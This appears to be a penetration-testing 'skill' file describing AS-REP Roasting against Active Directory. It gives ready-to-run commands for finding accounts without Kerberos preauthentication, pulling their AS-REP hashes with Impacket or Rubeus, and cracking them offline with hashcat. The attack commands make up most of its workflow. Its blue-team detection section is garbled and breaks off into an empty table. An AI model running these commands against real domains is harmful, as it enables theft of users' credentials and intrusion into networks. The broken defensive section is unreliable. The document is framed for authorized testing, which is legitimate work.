ad-asreproast-attack

name	ad-asreproast-attack
description	Exploit Active Directory environments using AS-REP Roasting. This skill details how to identify user accounts with the 'Do not require Kerberos preauthentication' (DONT_REQ_PREAUTH) attribute set, request their AS-REP tickes without a password, and crack the encrypted component offline to recover plaintext credentials.
domain	cybersecurity
subdomain	penetration-testing
category	Active Directory
difficulty	intermediate
estimated_time	1-2 hours
mitre_attack	{"tactics":["TA0006"],"techniques":["T1558.004"]}
platforms	["windows","active-directory"]
tags	["active-directory","kerberos","asreproast","credential-access","impacket","hashcat"]
tools	["impacket-GetNPUsers","hashcat","john-the-ripper","rubeus"]
version	1.0
author	CyberSkills-Elite
license	Apache-2.0

AS-REP Roasting Attack

When to Use

• During the early phases of an Active Directory penetration test when attempting to gain initial domain user access, or seeking to escalate privileges by cracking passwords of service or admin accounts.
• This attack does not require a valid domain user account to perform, only network access to the Domain Controller and a list of valid usernames. (Alternatively, if you have a domain account, you can automatically query LDAP for vulnerable users).

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying Vulnerable Accounts (With Domain Access)

If you already have a low-privileged domain account, you can query LDAP to find accounts with DONT_REQ_PREAUTH enabled.

# Concept: Use Impacket to query AD and request TGTs for vulnerable accounts impacket-GetNPUsers target.local/low_priv_user:Password123! -request -format hashcat -outputfile asrep_hashes.txt

Phase 2: Targeted Extraction (Without Domain Access)

If you have a list of usernames but no domain credentials, you can attempt to roast them blindly against the Domain Controller.

# impacket-GetNPUsers target.local/ -usersfile users.txt -format hashcat -dc-ip 192.168.1.10 -outputfile asrep_hashes.txt

Phase 3: Extracting Hashes from a Windows Host (Rubeus)

# Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

Phase 4: Offline Password Cracking

Extract the hashes from asrep_hashes.txt and run them through Hashcat. Hashcat mode for AS-REP Roast is 18200 (Kerberos 5, etype 23, AS-REP).

# hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt --force

Decision Point 🔀

flowchart TD
    A[Identify AD Target ] --> B{Have Valid AD Credentials? ]}
    B -->|Yes| C[LDAP Query DONT_REQ_PREAUTH ]
    B -->|No| D[Brute Force Users List ]
    C --> E[Extract & Crack Hash ]
    D --> E

🔵 Blue Team Detection & Defense

• Audit Account Policies: Monitor Kerberos Event ID 4768: Strong Password Policies: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ad Asreproast Attack — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Impacket Docs: GetNPUsers.py
• SpecterOps: Roasting AS-REPs